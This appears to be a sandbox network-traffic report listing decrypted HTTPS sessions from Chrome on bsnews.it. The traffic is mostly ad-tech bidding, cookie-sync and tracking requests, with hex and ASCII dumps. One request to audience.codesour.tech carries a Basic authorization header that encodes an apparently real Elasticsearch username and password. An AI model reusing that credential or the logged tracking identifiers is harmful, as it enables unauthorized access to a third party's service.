ent':[_0x411ba9(0xe5)+_0x411ba9(0xd8)+_0x411ba9(0x1ba)+_0x411ba9(0x156)+_0x411ba9(0x1fe)+'important;'+_0x411ba9(0xc2)+_0x411ba9(0xa0)],'sourceRoot':''}]);const _0x5bd5ed=_0x4aee4a;},0x351:_0x25c29d=>{var _0x40e98a=a0_0x2f0d;if('ZMLZg'==='ZMLZg')_0x25c29d[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.4	50098	74.119.119.139	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:26 UTC	531	OUT	OPTIONS /sid/json?origin=prebid&topUrl=https%3A%2F%2Fbsnews.it%2F&cw=1&lsw=1&gdpr=0 HTTP/1.1 Host: gum.criteo.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://bsnews.it User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:26 UTC	516	IN	HTTP/1.1 200 OK content-type: application/json; charset=utf-8 date: Thu, 28 Mar 2024 08:51:25 GMT server: Kestrel access-control-allow-credentials: true access-control-allow-headers: content-type access-control-allow-methods: GET access-control-allow-origin: https://bsnews.it cache-control: no-cache, no-store, must-revalidate expires: 0 pragma: no-cache transfer-encoding: chunked server-processing-duration-in-ticks: 224488 strict-transport-security: max-age=31536000; preload; connection: close
2024-03-28 08:51:26 UTC	12	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2{}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.4	50097	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:26 UTC	1307	OUT	GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=Bidswitch%2Cmartinai%2C4Info%2Cquantcast%2Cadelphic%2Cdynadmic%2Cportodsp%2Cappnexus%2Cbeeswax%2C_dmp_lotame%2Ctremornet%2Cindexexchange%2C_dmp_krux%2Cadtheorent%2CBidTheatre%2C1%2Cgoogle%2Cbucksense%2Cadgear%2CTubeMogul-GP%2Cscaleout%2Cemx%2Cthetradedesk%2Cbeachfront%2Cmadhive%2C_dmp_adobe%2Cstackadapt%2Cacuityads%2CRadiumOne%2Cmediamath%2Cbrightroll%2Cadvangelists%2CTapAd%2Crocketfuel%2C_google_dfp%2Cconversant%2Cdataxu%2Cblis%2Cadform%2CPulsepoint%2Clogicad%2Csimpli.fi%2Cactiveagent%2CVideology%2Cexponential%2Ccentro%2Cdeepintent%2C_dmp_turbine%2Cdemandbase&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&init=true&gdpr=0&gdpr_consent=1 HTTP/1.1 Host: partners.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvv=1; tvrg_61036=1,1711615884
2024-03-28 08:51:26 UTC	319	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:26 GMT Content-Type: text/xml;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true
2024-03-28 08:51:26 UTC	1116	IN	Data Raw: 34 35 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 56 41 53 54 20 76 65 72 73 69 6f 6e 3d 22 33 2e 30 22 20 78 6d 6c 6e 73 3a 74 3d 22 68 74 74 70 3a 2f 2f 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 73 70 22 20 74 3a 73 74 61 74 75 73 3d 22 4e 4f 5f 41 44 22 3e 3c 41 64 20 3e 3c 57 72 61 70 70 65 72 3e 3c 41 64 53 79 73 74 65 6d 3e 54 72 65 6d 6f 72 20 53 53 50 3c 2f 41 64 53 79 73 74 65 6d 3e 3c 56 41 53 54 41 64 54 61 67 55 52 49 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 70 61 72 74 6e 65 72 73 2e 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 79 6e 63 6e 6f 61 64 3f 72 69 64 3d 33 30 66 32 65 31 30 30 63 33 38 30 34 36 38 35 62 38 39 62 63 34 33 32 65 37 66 Data Ascii: 455<?xml version="1.0" encoding="UTF-8"?><VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7f
2024-03-28 08:51:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.4	50099	141.95.33.120	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:26 UTC	578	OUT	POST /api/config/prebid HTTP/1.1 Host: id5-sync.com Connection: keep-alive Content-Length: 121 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:26 UTC	121	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 69 64 35 49 64 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 70 61 72 74 6e 65 72 22 3a 36 37 33 7d 2c 22 73 74 6f 72 61 67 65 22 3a 7b 22 74 79 70 65 22 3a 22 68 74 6d 6c 35 22 2c 22 6e 61 6d 65 22 3a 22 69 64 35 69 64 22 2c 22 65 78 70 69 72 65 73 22 3a 39 30 2c 22 72 65 66 72 65 73 68 49 6e 53 65 63 6f 6e 64 73 22 3a 32 38 38 30 30 7d 7d Data Ascii: {"name":"id5Id","params":{"partner":673},"storage":{"type":"html5","name":"id5id","expires":90,"refreshInSeconds":28800}}
2024-03-28 08:51:26 UTC	411	IN	HTTP/1.1 200 vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers access-control-allow-origin: https://bsnews.it vary: Origin access-control-allow-credentials: true content-type: application/json;charset=UTF-8 transfer-encoding: chunked date: Thu, 28 Mar 2024 08:51:26 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-03-28 08:51:26 UTC	141	IN	Data Raw: 38 37 0d 0a 7b 22 66 65 74 63 68 43 61 6c 6c 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 35 2d 73 79 6e 63 2e 63 6f 6d 2f 67 2f 76 32 2f 36 37 33 2e 6a 73 6f 6e 22 7d 2c 22 65 78 74 65 6e 73 69 6f 6e 73 43 61 6c 6c 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 62 2e 65 75 2d 31 2d 69 64 35 2d 73 79 6e 63 2e 63 6f 6d 2f 6c 62 2f 76 31 22 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 7d 7d 0d 0a Data Ascii: 87{"fetchCall":{"url":"https://id5-sync.com/g/v2/673.json"},"extensionsCall":{"url":"https://lb.eu-1-id5-sync.com/lb/v1","method":"GET"}}
2024-03-28 08:51:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.4	50112	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:27 UTC	708	OUT	GET /beacon?informer=13426218 HTTP/1.1 Host: ap.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_
2024-03-28 08:51:27 UTC	217	IN	HTTP/1.1 302 Moved Temporarily Server: awselb/2.0 Date: Thu, 28 Mar 2024 08:51:27 GMT Content-Type: text/html Content-Length: 110 Connection: close Location: https://ce.lijit.com:443/beacon?informer=13426218
2024-03-28 08:51:27 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.4	50128	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:27 UTC	800	OUT	GET /pixel?google_nid=neodata_dmp&google_cm=&pv=dbm&sid=1011&rt=img&rnd=436232701635&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-03-28 08:51:27 UTC	1019	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://tracker.neodatagroup.com/cm?pv=dbm&sid=1011&rt=img&rnd=436232701635&google_gid=CAESEFUiyoSAJM68NzMb8_TKqbY&google_cver=1 Date: Thu, 28 Mar 2024 08:51:27 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 345 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUmPjRXU116N4cALuUcO4mFSiWH6-xzO8kDIV2B1GvhWpP82j3l9eYwyWrfzUE0; expires=Sat, 28-Mar-2026 08:51:27 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:27 UTC	233	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 74 72 61 63 6b 65 72 2e 6e 65 6f 64 61 74 61 67 72 6f 75 70 2e 63 6f 6d 2f 63 6d 3f 70 76 3d 64 62 6d 26 61 6d 70 3b 73 69 64 3d 31 30 31 31 26 61 6d 70 3b 72 74 3d 69 6d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://tracker.neodatagroup.com/cm?pv=dbm&sid=1011&rt=im
2024-03-28 08:51:27 UTC	112	IN	Data Raw: 67 26 61 6d 70 3b 72 6e 64 3d 34 33 36 32 33 32 37 30 31 36 33 35 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 45 46 55 69 79 6f 53 41 4a 4d 36 38 4e 7a 4d 62 38 5f 54 4b 71 62 59 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 76 65 72 3d 31 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: g&rnd=436232701635&google_gid=CAESEFUiyoSAJM68NzMb8_TKqbY&google_cver=1">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.4	50108	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:27 UTC	685	OUT	GET /usync/?cb=1711615879045&gdpr=0&gdpr_consent= HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:27 UTC	466	IN	HTTP/1.1 200 OK p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' set-cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI; path=/; expires=Mon, 28 Apr 2025 01:09:45; domain=onetag-sys.com; SameSite=None; Secure content-type: text/html cache-control: no-transform, no-cache content-length: 4674 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close
2024-03-28 08:51:27 UTC	4674	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 79 6e 63 20 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 76 61 72 20 73 79 6e 63 50 69 78 65 6c 73 20 3d 20 22 68 74 74 70 73 3a 2f 2f 72 74 62 2e 6d 66 61 64 73 72 76 72 2e 63 6f 6d 2f 73 79 6e 63 3f 73 73 70 3d 6f 6e 65 74 61 67 26 73 73 70 5f 75 73 65 72 5f 69 64 3d 32 37 4e 55 73 4b 30 46 54 4b 43 78 4d 5f 68 4a 45 69 5a 62 33 53 62 72 6b 6e 57 44 7a 47 48 76 74 5a 65 7a 6d 74 6c 47 62 79 49 26 67 64 70 72 3d 24 7b 47 44 50 52 7d Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Sync Pixels</title></head><body><script> var syncPixels = "https://rtb.mfadsrvr.com/sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=${GDPR}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.4	50102	18.160.46.85	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:27 UTC	533	OUT	GET /lt/c/16589/sync.min.js HTTP/1.1 Host: tags.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:27 UTC	564	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 39827 Connection: close Date: Wed, 27 Mar 2024 15:32:22 GMT Last-Modified: Wed, 14 Feb 2024 17:39:57 GMT ETag: "21f8671135afbd2e874c42d3dc478afa" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=86400 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 1531d925e2f1f9058974d2e519bbc57e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P2 X-Amz-Cf-Id: VUB7n002nlNPx9uT6RaNOkLKu5x1sq6L-uBaqxDrv-aaOgv1k8TUBg== Age: 62346
2024-03-28 08:51:27 UTC	15820	IN	Data Raw: 76 61 72 20 6c 6f 74 61 6d 65 49 73 43 6f 6d 70 61 74 69 62 6c 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 72 65 74 75 72 6e 20 28 20 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 6b 65 79 73 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 70 6f 73 74 4d 65 73 73 61 67 65 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 74 79 70 65 6f 66 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 74 79 70 65 6f 66 28 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 29 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 20 21 3d 3d 20 27 Data Ascii: var lotameIsCompatible = function() { return ( typeof Object.keys !== 'undefined' && typeof window.postMessage !== 'undefined' && typeof XMLHttpRequest !== 'undefined' && typeof(new XMLHttpRequest().withCredentials) !== 'undefined' && typeof console !== '
2024-03-28 08:51:27 UTC	16384	IN	Data Raw: 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 61 26 26 28 62 3d 21 31 2c 73 79 6e 63 31 36 35 38 39 5f 2e 65 72 72 6f 72 28 22 74 61 67 49 6e 70 75 74 2e 64 61 74 61 2e 74 68 69 72 64 50 61 72 74 79 20 73 68 6f 75 6c 64 20 62 65 20 61 6e 20 6f 62 6a 65 63 74 22 29 29 3b 61 2e 6e 61 6d 65 73 70 61 63 65 7c 7c 28 62 3d 21 31 2c 73 79 6e 63 31 36 35 38 39 5f 2e 65 72 72 6f 72 28 22 74 61 67 49 6e 70 75 74 2e 64 61 74 61 2e 74 68 69 72 64 50 61 72 74 79 2e 6e 61 6d 65 73 70 61 63 65 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 22 29 29 3b 61 2e 76 61 6c 75 65 7c 7c 28 62 3d 21 31 2c 73 79 6e 63 31 36 35 38 39 5f 2e 65 72 72 6f 72 28 22 74 61 67 49 6e 70 75 74 2e 64 61 74 61 2e 74 68 69 72 64 50 61 72 74 79 2e 76 61 6c 75 65 20 69 73 20 6e 6f 74 20 64 65 66 69 Data Ascii: bject"!=typeof a&&(b=!1,sync16589_.error("tagInput.data.thirdParty should be an object"));a.namespace\|\|(b=!1,sync16589_.error("tagInput.data.thirdParty.namespace is not defined"));a.value\|\|(b=!1,sync16589_.error("tagInput.data.thirdParty.value is not defi
2024-03-28 08:51:27 UTC	7623	IN	Data Raw: 76 6f 69 64 20 30 7d 20 66 75 6e 63 74 69 6f 6e 20 73 79 6e 63 31 36 35 38 39 5f 47 61 28 61 2c 62 29 7b 76 61 72 20 63 3d 76 6f 69 64 20 30 3d 3d 3d 63 3f 73 79 6e 63 31 36 35 38 39 5f 45 3a 63 3b 62 26 26 73 79 6e 63 31 36 35 38 39 5f 77 28 62 29 26 26 21 73 79 6e 63 31 36 35 38 39 5f 44 28 62 29 26 26 21 62 2e 75 28 29 26 26 73 79 6e 63 31 36 35 38 39 5f 39 28 61 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 73 79 6e 63 31 36 35 38 39 5f 48 61 28 61 2c 62 2c 64 29 3b 73 79 6e 63 31 36 35 38 39 5f 37 28 61 2c 73 79 6e 63 31 36 35 38 39 5f 30 28 64 29 2c 73 79 6e 63 31 36 35 38 39 5f 38 28 61 2c 64 29 2c 22 64 61 74 61 22 2c 63 29 7d 29 7d 20 66 75 6e 63 74 69 6f 6e 20 73 79 6e 63 31 36 35 38 39 5f 49 61 28 61 2c 62 2c 63 29 7b 63 3d 76 Data Ascii: void 0} function sync16589_Ga(a,b){var c=void 0===c?sync16589_E:c;b&&sync16589_w(b)&&!sync16589_D(b)&&!b.u()&&sync16589_9(a).then(function(d){d=sync16589_Ha(a,b,d);sync16589_7(a,sync16589_0(d),sync16589_8(a,d),"data",c)})} function sync16589_Ia(a,b,c){c=v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.4	50127	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:27 UTC	667	OUT	POST /v1/trk/adv HTTP/1.1 Host: audience.codesour.tech Connection: keep-alive Content-Length: 1247 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json sec-ch-ua-mobile: ?0 Authorization: Basic ZWxhc3RpYzpoaDRmbU9TMEFiMjRlRUZEU3pqZWxRcHY= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:27 UTC	1247	OUT	Data Raw: 7b 22 69 64 53 69 74 65 22 3a 22 36 31 33 37 31 63 34 33 64 31 65 64 64 30 32 38 34 63 33 65 36 62 64 38 22 2c 22 69 64 50 6c 61 6e 6e 69 6e 67 22 3a 22 36 30 39 64 35 64 38 37 65 38 34 39 31 39 31 65 37 33 32 61 39 33 35 62 22 2c 22 75 49 64 22 3a 33 38 34 38 35 36 39 37 33 30 2c 22 6e 61 6d 65 22 3a 22 64 69 73 70 6c 61 79 22 2c 22 74 79 70 65 22 3a 22 73 6c 6f 74 52 65 6e 64 65 72 45 6e 64 65 64 22 2c 22 64 61 74 61 22 3a 7b 22 73 6c 6f 74 49 64 22 3a 22 62 73 6e 65 77 73 5f 64 73 6b 5f 69 6e 74 72 6f 22 2c 22 69 6e 66 6f 22 3a 7b 22 73 65 72 76 69 63 65 4e 61 6d 65 22 3a 22 70 75 62 6c 69 73 68 65 72 5f 61 64 73 22 2c 22 73 6c 6f 74 22 3a 7b 7d 2c 22 69 73 45 6d 70 74 79 22 3a 66 61 6c 73 65 2c 22 73 6c 6f 74 43 6f 6e 74 65 6e 74 43 68 61 6e 67 65 64 Data Ascii: {"idSite":"61371c43d1edd0284c3e6bd8","idPlanning":"609d5d87e849191e732a935b","uId":3848569730,"name":"display","type":"slotRenderEnded","data":{"slotId":"bsnews_dsk_intro","info":{"serviceName":"publisher_ads","slot":{},"isEmpty":false,"slotContentChanged
2024-03-28 08:51:27 UTC	330	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:27 GMT Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * Content-Type: application/json Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:27 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-03-28 08:51:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.4	50130	34.198.227.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:27 UTC	413	OUT	GET /rtb/bid?src=prebid_prebid_8.33.0 HTTP/1.1 Host: ap.lijit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_
2024-03-28 08:51:27 UTC	271	IN	HTTP/1.1 204 No Content Date: Thu, 28 Mar 2024 08:51:27 GMT Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.4	50129	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
